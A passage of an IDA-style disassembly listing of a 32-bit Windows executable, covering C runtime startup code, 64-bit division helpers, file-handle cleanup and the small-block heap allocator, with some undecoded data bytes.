mov ah, [ebp+var_8]
or eax, ecx
jmp short loc_420BF7
; ---------------------------------------------------------------------------
loc_420BE8: ; CODE XREF: sub_420B27+12j
; sub_420B27+24j
cmp ebx, 41h
jl short loc_420BF5
cmp ebx, 5Ah
lea eax, [ebx+20h]
jle short loc_420BF7
loc_420BF5: ; CODE XREF: sub_420B27+56j
; sub_420B27+A8j ...
mov eax, ebx
loc_420BF7: ; CODE XREF: sub_420B27+B2j
; sub_420B27+BFj ...
pop edi
pop esi
pop ebx
leave
retn
sub_420B27 endp
; ---------------------------------------------------------------------------
dd 0CCCCCCCCh
; =============== S U B R O U T I N E =======================================
sub_420C00 proc near ; CODE XREF: sub_41D6C3+3Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_420C21
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_420C71
; ---------------------------------------------------------------------------
loc_420C21: ; CODE XREF: sub_420C00+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_420C2F: ; CODE XREF: sub_420C00+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_420C2F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_420C5A
cmp edx, [esp+4+arg_4]
ja short loc_420C5A
jb short loc_420C62
cmp eax, [esp+4+arg_0]
jbe short loc_420C62
loc_420C5A: ; CODE XREF: sub_420C00+4Aj
; sub_420C00+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_420C62: ; CODE XREF: sub_420C00+52j
; sub_420C00+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_420C71: ; CODE XREF: sub_420C00+1Fj
pop ebx
retn 10h
sub_420C00 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_420C80 proc near ; CODE XREF: sub_41D6C3+24p
; sub_41F87E+29p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_420CA2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_420CE3
; ---------------------------------------------------------------------------
loc_420CA2: ; CODE XREF: sub_420C80+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_420CB0: ; CODE XREF: sub_420C80+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_420CB0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_420CDE
cmp edx, [esp+8+arg_4]
ja short loc_420CDE
jb short loc_420CDF
cmp eax, [esp+8+arg_0]
jbe short loc_420CDF
loc_420CDE: ; CODE XREF: sub_420C80+4Ej
; sub_420C80+54j
dec esi
loc_420CDF: ; CODE XREF: sub_420C80+56j
; sub_420C80+5Cj
xor edx, edx
mov eax, esi
loc_420CE3: ; CODE XREF: sub_420C80+20j
pop esi
pop ebx
retn 10h
sub_420C80 endp
; =============== S U B R O U T I N E =======================================
sub_420CE8 proc near ; CODE XREF: start-C31EDp start-C31C7p ...
arg_0 = dword ptr 4
cmp ds:dword_4E295C, 1
jnz short loc_420CF6
call sub_4261E0
loc_420CF6: ; CODE XREF: sub_420CE8+7j
push [esp+arg_0]
call sub_426069
push 0FFh
call ds:off_4437C0
pop ecx
pop ecx
retn
sub_420CE8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_420D0D: ; CODE XREF: start+1A2j
; DATA XREF: start+19Do
push 60h
push offset dword_4394C8
call sub_425F14
mov edi, 94h
mov eax, edi
call sub_41EA20
mov [ebp-18h], esp
mov esi, esp
mov [esi], edi
push esi
call ds:dword_42B064 ; GetVersionExA
mov ecx, [esi+10h]
mov ds:dword_4E2900, ecx
mov eax, [esi+4]
mov ds:dword_4E290C, eax
mov edx, [esi+8]
mov ds:dword_4E2910, edx
mov esi, [esi+0Ch]
and esi, 7FFFh
mov ds:dword_4E2904, esi
cmp ecx, 2
jz short loc_420D6D
or esi, 8000h
mov ds:dword_4E2904, esi
loc_420D6D: ; CODE XREF: start-C32A1j
shl eax, 8
add eax, edx
mov ds:dword_4E2908, eax
xor esi, esi
push esi
mov edi, ds:dword_42B024
call edi ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_420DA8
mov ecx, [eax+3Ch]
add ecx, eax
cmp dword ptr [ecx], 4550h
jnz short loc_420DA8
movzx eax, word ptr [ecx+18h]
cmp eax, 10Bh
jz short loc_420DC0
cmp eax, 20Bh
jz short loc_420DAD
loc_420DA8: ; CODE XREF: start-C3279j start-C326Cj ...
mov [ebp-1Ch], esi
jmp short loc_420DD4
; ---------------------------------------------------------------------------
loc_420DAD: ; CODE XREF: start-C325Aj
cmp dword ptr [ecx+84h], 0Eh
jbe short loc_420DA8
xor eax, eax
cmp [ecx+0F8h], esi
jmp short loc_420DCE
; ---------------------------------------------------------------------------
loc_420DC0: ; CODE XREF: start-C3261j
cmp dword ptr [ecx+74h], 0Eh
jbe short loc_420DA8
xor eax, eax
cmp [ecx+0E8h], esi
loc_420DCE: ; CODE XREF: start-C3242j
setnz al
mov [ebp-1Ch], eax
loc_420DD4: ; CODE XREF: start-C3255j
push esi
call sub_4210EF
pop ecx
test eax, eax
jnz short loc_420E00
cmp ds:dword_4E295C, 1
jnz short loc_420DED
call sub_4261E0
loc_420DED: ; CODE XREF: start-C321Aj
push 1Ch
call sub_426069
push 0FFh
call sub_41F116
pop ecx
pop ecx
loc_420E00: ; CODE XREF: start-C3223j
call sub_423257
mov [ebp-4], esi
call sub_42418E
test eax, eax
jge short loc_420E19
push 1Bh
call sub_420CE8
pop ecx
loc_420E19: ; CODE XREF: start-C31F1j
call ds:dword_42B1A8 ; GetCommandLineA
mov ds:dword_4E2F04, eax
call sub_4266BC
mov ds:dword_4E2954, eax
call sub_42661A
test eax, eax
jge short loc_420E3F
push 8
call sub_420CE8
pop ecx
loc_420E3F: ; CODE XREF: start-C31CBj
call sub_4263E7
test eax, eax
jge short loc_420E50
push 9
call sub_420CE8
pop ecx
loc_420E50: ; CODE XREF: start-C31BAj
push 1
call sub_41F146
pop ecx
mov [ebp-28h], eax
cmp eax, esi
jz short loc_420E66
push eax
call sub_420CE8
pop ecx
loc_420E66: ; CODE XREF: start-C31A3j
mov [ebp-44h], esi
lea eax, [ebp-70h]
push eax
call ds:dword_42B1A4 ; GetStartupInfoA
call sub_42638A
mov [ebp-20h], eax
test byte ptr [ebp-44h], 1
jz short loc_420E87
movzx eax, word ptr [ebp-40h]
jmp short loc_420E8A
; ---------------------------------------------------------------------------
loc_420E87: ; CODE XREF: start-C3181j
push 0Ah
pop eax
loc_420E8A: ; CODE XREF: start-C317Bj
push eax
push dword ptr [ebp-20h]
push esi
push esi
call edi ; GetModuleHandleA
push eax
call sub_40A263
mov edi, eax
mov [ebp-2Ch], edi
cmp [ebp-1Ch], esi
jnz short loc_420EA8
push edi
call sub_41F271
loc_420EA8: ; CODE XREF: start-C3160j
call sub_41F293
jmp short loc_420EDA
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
aLeLLImPqsys db '‹Eì‹',8,'‹',9,'‰MÜPQèYS',0
align 10h
aYyLeslGF db 'YYËeè‹}܃}ä',0
db 75h, 6, 57h
dd 0FFE3ADE8h, 0E3C8E8FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_420EDA: ; CODE XREF: start-C3153j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, edi
lea esp, [ebp-7Ch]
call sub_425F4F
retn
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_420EE9 proc near ; CODE XREF: sub_41E24B+2Ap
; sub_426A43+2C5p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, ds:dword_4E2B98
jnb loc_420F83
mov eax, edi
sar eax, 5
mov esi, edi
and esi, 1Fh
lea ebx, ds:4E2BA0h[eax*4]
mov eax, [ebx]
shl esi, 3
test byte ptr [eax+esi+4], 1
jz short loc_420F83
push edi
call sub_42696C
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_420F62
cmp edi, 1
jz short loc_420F30
cmp edi, 2
jnz short loc_420F46
loc_420F30: ; CODE XREF: sub_420EE9+40j
push 2
call sub_42696C
push 1
mov ebp, eax
call sub_42696C
cmp eax, ebp
pop ecx
pop ecx
jz short loc_420F62
loc_420F46: ; CODE XREF: sub_420EE9+45j
push edi
call sub_42696C
pop ecx
push eax
call ds:dword_42B004 ; CloseHandle
test eax, eax
jnz short loc_420F62
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_420F64
; ---------------------------------------------------------------------------
loc_420F62: ; CODE XREF: sub_420EE9+3Bj
; sub_420EE9+5Bj ...
xor ebp, ebp
loc_420F64: ; CODE XREF: sub_420EE9+77j
push edi
call sub_4268F2
test ebp, ebp
mov eax, [ebx]
pop ecx
mov byte ptr [eax+esi+4], 0
jz short loc_420F7F
push ebp
call sub_422C0F
pop ecx
jmp short loc_420F94
; ---------------------------------------------------------------------------
loc_420F7F: ; CODE XREF: sub_420EE9+8Bj
xor eax, eax
jmp short loc_420F97
; ---------------------------------------------------------------------------
loc_420F83: ; CODE XREF: sub_420EE9+Ej
; sub_420EE9+2Fj
and ds:dword_4E28F8, 0
mov ds:dword_4E28F4, 9
loc_420F94: ; CODE XREF: sub_420EE9+94j
or eax, 0FFFFFFFFh
loc_420F97: ; CODE XREF: sub_420EE9+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_420EE9 endp
; =============== S U B R O U T I N E =======================================
sub_420F9C proc near ; CODE XREF: sub_41E24B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_420FC5
test al, 8
jz short loc_420FC5
push dword ptr [esi+8]
call sub_41E2A1
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_420FC5: ; CODE XREF: sub_420F9C+Aj
; sub_420F9C+Ej
pop esi
retn
sub_420F9C endp
; =============== S U B R O U T I N E =======================================
sub_420FC7 proc near ; CODE XREF: sub_41E24B+1Ap
; seg000:00420801p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
mov eax, [esi+0Ch]
mov ecx, eax
and cl, 3
xor ebx, ebx
cmp cl, 2
jnz short loc_421016
test ax, 108h
jz short loc_421016
mov eax, [esi+8]
push edi
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_421015
push edi
push eax
push dword ptr [esi+10h]
call sub_425882
add esp, 0Ch
cmp eax, edi
jnz short loc_42100E
mov eax, [esi+0Ch]
test al, al
jns short loc_421015
and eax, 0FFFFFFFDh
mov [esi+0Ch], eax
jmp short loc_421015
; ---------------------------------------------------------------------------
loc_42100E: ; CODE XREF: sub_420FC7+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_421015: ; CODE XREF: sub_420FC7+25j
; sub_420FC7+3Dj ...
pop edi
loc_421016: ; CODE XREF: sub_420FC7+13j
; sub_420FC7+19j
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop esi
mov eax, ebx
pop ebx
retn
sub_420FC7 endp
; ---------------------------------------------------------------------------
dd 24748B56h, 75F68508h, 2CE85609h, 59000000h, 0E856C35Eh
dd 0FFFFFF8Bh, 7459C085h, 0FFC88305h, 46F6C35Eh, 0F74400Dh
dd 0E81076FFh, 5954h, 1BD8F759h, 33C35EC0h, 53C35EC0h
dd 0F6335756h, 0FF33DB33h, 3F203539h, 4D7E004Eh, 4E2F08A1h
dd 0B0048B00h, 3874C085h, 0F60C488Bh, 307483C1h, 10247C83h
dd 500F7501h, 0FFFF93E8h, 0FFF883FFh, 431D7459h, 7C831AEBh
dd 75001024h, 2C1F613h, 0E8500E74h, 0FFFFFF78h, 59FFF883h
dd 0F80B0275h, 20353B46h, 7C004E3Fh, 247C83B3h, 0C38B0110h
dd 0C78B0274h, 0C35B5E5Fh, 8CE8016Ah, 59FFFFFFh
db 0C3h
; =============== S U B R O U T I N E =======================================
sub_4210D5 proc near ; CODE XREF: sub_4210EF+20p
cmp ds:dword_4E2900, 2
jnz short loc_4210EB
cmp ds:dword_4E290C, 5
jb short loc_4210EB
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_4210EB: ; CODE XREF: sub_4210D5+7j
; sub_4210D5+10j
push 3
pop eax
retn
sub_4210D5 endp
; =============== S U B R O U T I N E =======================================
sub_4210EF proc near ; CODE XREF: start-C322Bp
arg_0 = dword ptr 4
xor eax, eax
cmp [esp+arg_0], eax
push 0
setz al
push 1000h
push eax
call ds:dword_42B1B0 ; HeapCreate
test eax, eax
mov ds:dword_4E2EFC, eax
jz short loc_421139
call sub_4210D5
cmp eax, 3
mov ds:dword_4E2F00, eax
jnz short loc_42113C
push 3F8h
call sub_421140
test eax, eax
pop ecx
jnz short loc_42113C
push ds:dword_4E2EFC
call ds:dword_42B1AC ; HeapDestroy
loc_421139: ; CODE XREF: sub_4210EF+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42113C: ; CODE XREF: sub_4210EF+2Dj
; sub_4210EF+3Cj
xor eax, eax
inc eax
retn
sub_4210EF endp
; =============== S U B R O U T I N E =======================================
sub_421140 proc near ; CODE XREF: sub_4210EF+34p
arg_0 = dword ptr 4
push 140h
push 0
push ds:dword_4E2EFC
call ds:dword_42B0E4 ; RtlAllocateHeap
test eax, eax
mov ds:dword_4E2EE8, eax
jnz short loc_42115D
retn
; ---------------------------------------------------------------------------
loc_42115D: ; CODE XREF: sub_421140+1Aj
mov ecx, [esp+arg_0]
and ds:dword_4E2EE0, 0
and ds:dword_4E2EE4, 0
mov ds:dword_4E2EF0, eax
xor eax, eax
mov ds:dword_4E2EEC, ecx
mov ds:dword_4E2EF4, 10h
inc eax
retn
sub_421140 endp
; =============== S U B R O U T I N E =======================================
sub_421188 proc near ; CODE XREF: sub_41E2A1+13p
; sub_41E3C2+48p ...
arg_0 = dword ptr 4
mov eax, ds:dword_4E2EE4
lea ecx, [eax+eax*4]
mov eax, ds:dword_4E2EE8
lea ecx, [eax+ecx*4]
jmp short loc_4211AC
; ---------------------------------------------------------------------------
loc_42119A: ; CODE XREF: sub_421188+26j
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_4211B2
add eax, 14h
loc_4211AC: ; CODE XREF: sub_421188+10j
cmp eax, ecx
jb short loc_42119A
xor eax, eax
locret_4211B2: ; CODE XREF: sub_421188+1Fj
retn
sub_421188 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4211B3 proc near ; CODE XREF: sub_41E2A1+1Fp
; sub_41E3C2+9Cp ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
mov eax, [ecx+10h]
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, esi
sub edi, [ecx+0Ch]
add esi, 0FFFFFFFCh
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_4214C7
push ebx
lea ebx, [ecx+esi]
mov edx, [ebx]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_42127E
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_421216
push 3Fh
pop edx
loc_421216: ; CODE XREF: sub_4211B3+5Ej
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_421260
cmp edx, 20h
mov ebx, 80000000h
jnb short loc_421241
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_42125D
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_42125D
; ---------------------------------------------------------------------------
loc_421241: ; CODE XREF: sub_4211B3+73j
lea ecx, [edx-20h]
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_42125D
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_42125D: ; CODE XREF: sub_4211B3+85j
; sub_4211B3+8Cj ...
mov ebx, [ebp+arg_4]
loc_421260: ; CODE XREF: sub_4211B3+69j
mov edx, [ebx+8]
mov ebx, [ebx+4]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
mov [ebp+var_4], ecx
loc_42127E: ; CODE XREF: sub_4211B3+55j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_42128C
push 3Fh
pop edx
loc_42128C: ; CODE XREF: sub_4211B3+D4j
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_42132A
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_4212B1
mov ebx, esi
loc_4212B1: ; CODE XREF: sub_4211B3+FAj
add ecx, [ebp+var_8]
mov edx, ecx
sar edx, 4
dec edx
cmp edx, esi
mov [ebp+var_4], ecx
jbe short loc_4212C3
mov edx, esi
loc_4212C3: ; CODE XREF: sub_4211B3+10Cj
cmp ebx, edx
jz short loc_421325
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_42130D
cmp ebx, 20h
mov esi, 80000000h
jnb short loc_4212F3
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_42130D
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_42130D
; ---------------------------------------------------------------------------
loc_4212F3: ; CODE XREF: sub_4211B3+127j
lea ecx, [ebx-20h]
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_42130D
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_42130D: ; CODE XREF: sub_4211B3+11Dj
; sub_4211B3+137j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_421325: ; CODE XREF: sub_4211B3+112j
mov esi, [ebp+arg_4]
jmp short loc_42132D
; ---------------------------------------------------------------------------
loc_42132A: ; CODE XREF: sub_4211B3+E2j
mov ebx, [ebp+arg_0]
loc_42132D: ; CODE XREF: sub_4211B3+175j
cmp [ebp+var_C], 0
jnz short loc_42133B
cmp ebx, edx
jz loc_4213BB
loc_42133B: ; CODE XREF: sub_4211B3+17Ej
mov ecx, [ebp+var_10]
lea ecx, [ecx+edx*8]
mov ebx, [ecx+4]
mov [esi+8], ecx
mov [esi+4], ebx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_4213BB
mov cl, [edx+eax+4]
mov byte ptr [ebp+arg_4+3], cl
inc cl
cmp edx, 20h
mov [edx+eax+4], cl
jnb short loc_421392
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_421381
mov ecx, edx
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_421381: ; CODE XREF: sub_4211B3+1BEj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_4213BB
; ---------------------------------------------------------------------------
loc_421392: ; CODE XREF: sub_4211B3+1B8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4213A8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_4213A8: ; CODE XREF: sub_4211B3+1E3j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_4213BB: ; CODE XREF: sub_4211B3+182j
; sub_4211B3+1A6j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_4214C6
mov eax, ds:dword_4E2EE0
test eax, eax
jz loc_4214B8
mov ecx, ds:dword_4E2EF8
mov esi, ds:dword_42B1B4
push 4000h
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, ds:dword_4E2EF8
mov eax, ds:dword_4E2EE0
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, ds:dword_4E2EE0
mov eax, [eax+10h]
mov ecx, ds:dword_4E2EF8
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, ds:dword_4E2EE0
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, ds:dword_4E2EE0
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_421449
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, ds:dword_4E2EE0
loc_421449: ; CODE XREF: sub_4211B3+28Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_4214B8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, ds:dword_4E2EE0
push dword ptr [eax+10h]
push 0
push ds:dword_4E2EFC
call ds:dword_42B0E0 ; RtlFreeHeap
mov eax, ds:dword_4E2EE4
mov edx, ds:dword_4E2EE8
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, ds:dword_4E2EE0
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41F980
mov eax, [ebp+arg_0]
add esp, 0Ch
dec ds:dword_4E2EE4
cmp eax, ds:dword_4E2EE0
jbe short loc_4214AE
sub [ebp+arg_0], 14h
loc_4214AE: ; CODE XREF: sub_4211B3+2F5j
mov eax, ds:dword_4E2EE8
mov ds:dword_4E2EF0, eax
loc_4214B8: ; CODE XREF: sub_4211B3+223j
; sub_4211B3+29Aj
mov eax, [ebp+arg_0]
mov ds:dword_4E2EE0, eax
mov ds:dword_4E2EF8, edi
loc_4214C6: ; CODE XREF: sub_4211B3+216j
pop ebx
loc_4214C7: ; CODE XREF: sub_4211B3+37j
pop edi
pop esi
leave
retn
sub_4211B3 endp
; =============== S U B R O U T I N E =======================================
sub_4214CB proc near ; CODE XREF: sub_421967+150p
mov eax, ds:dword_4E2EE4
mov ecx, ds:dword_4E2EF4
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_421511
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push ds:dword_4E2EE8
push edi
push ds:dword_4E2EFC
call ds:dword_42B194 ; RtlReAllocateHeap
cmp eax, edi
jnz short loc_421500
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_421500: ; CODE XREF: sub_4214CB+2Fj
add ds:dword_4E2EF4, 10h
mov ds:dword_4E2EE8, eax
mov eax, ds:dword_4E2EE4
loc_421511: ; CODE XREF: sub_4214CB+10j
mov ecx, ds:dword_4E2EE8
push esi
push 41C4h
push 8
push ds:dword_4E2EFC
lea eax, [eax+eax*4]
lea esi, [ecx+eax*4]
call ds:dword_42B0E4 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jnz short loc_42153C
loc_421538: ; CODE XREF: sub_4214CB+9Bj
xor eax, eax
jmp short loc_42157F
; ---------------------------------------------------------------------------
loc_42153C: ; CODE XREF: sub_4214CB+6Bj
push 4
push 2000h
push 100000h
push edi
call ds:dword_42B1B8 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_421568
push dword ptr [esi+10h]
push edi
push ds:dword_4E2EFC
call ds:dword_42B0E0 ; RtlFreeHeap
jmp short loc_421538
; ---------------------------------------------------------------------------
loc_421568: ; CODE XREF: sub_4214CB+89j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc ds:dword_4E2EE4
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_42157F: ; CODE XREF: sub_4214CB+6Fj
pop esi
pop edi
retn
sub_4214CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421582 proc near ; CODE XREF: sub_421967+15Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, [ebp+arg_0]
mov eax, [ecx+8]
push ebx
push esi
mov esi, [ecx+10h]
push edi
xor ebx, ebx
jmp short loc_42159A
; ---------------------------------------------------------------------------
loc_421597: ; CODE XREF: sub_421582+1Aj
shl eax, 1
inc ebx
loc_42159A: ; CODE XREF: sub_421582+13j
test eax, eax
jge short loc_421597
mov eax, ebx
imul eax, 204h
lea eax, [eax+esi+144h]
push 3Fh
mov [ebp+var_8], eax
pop edx
loc_4215B3: ; CODE XREF: sub_421582+3Bj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_4215B3
push 4
mov edi, ebx
push 1000h
shl edi, 0Fh
add edi, [ecx+0Ch]
push 8000h
push edi
call ds:dword_42B1B8 ; VirtualAlloc
test eax, eax
jnz short loc_4215E6
or eax, 0FFFFFFFFh
jmp loc_421683
; ---------------------------------------------------------------------------
loc_4215E6: ; CODE XREF: sub_421582+5Aj
lea edx, [edi+7000h]
cmp edi, edx
mov [ebp+var_4], edx
ja short loc_421636
mov ecx, edx
sub ecx, edi
shr ecx, 0Ch
lea eax, [edi+10h]
inc ecx
loc_4215FE: ; CODE XREF: sub_421582+AFj
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea edx, [eax+0FFCh]
mov [eax], edx
lea edx, [eax-1004h]
mov dword ptr [eax-4], 0FF0h
mov [eax+4], edx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
dec ecx
jnz short loc_4215FE
mov edx, [ebp+var_4]
loc_421636: ; CODE XREF: sub_421582+6Fj
mov eax, [ebp+var_8]
add eax, 1F8h
lea ecx, [edi+0Ch]
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
xor edi, edi
inc edi
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_421673
or [eax+4], edi
loc_421673: ; CODE XREF: sub_421582+ECj
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_421683: ; CODE XREF: sub_421582+5Fj
pop edi
pop esi
pop ebx
leave
retn
sub_421582 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421688 proc near ; CODE XREF: sub_41E3C2+63p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ecx+10h]
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov edx, edi
sub edx, [ecx+0Ch]
add esi, 17h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
and esi, 0FFFFFFF0h
dec ecx
cmp esi, ecx
lea edi, [ecx+edi-4]
mov ebx, [edi]
mov [ebp+arg_8], ecx
mov [ebp+var_4], ebx
jle loc_42182A
test bl, 1
jnz loc_421823
add ebx, ecx
cmp esi, ebx
jg loc_421823
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_4216FD
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_4216FD: ; CODE XREF: sub_421688+6Dj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_421748
cmp ecx, 20h
mov ebx, 80000000h
jnb short loc_421729
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
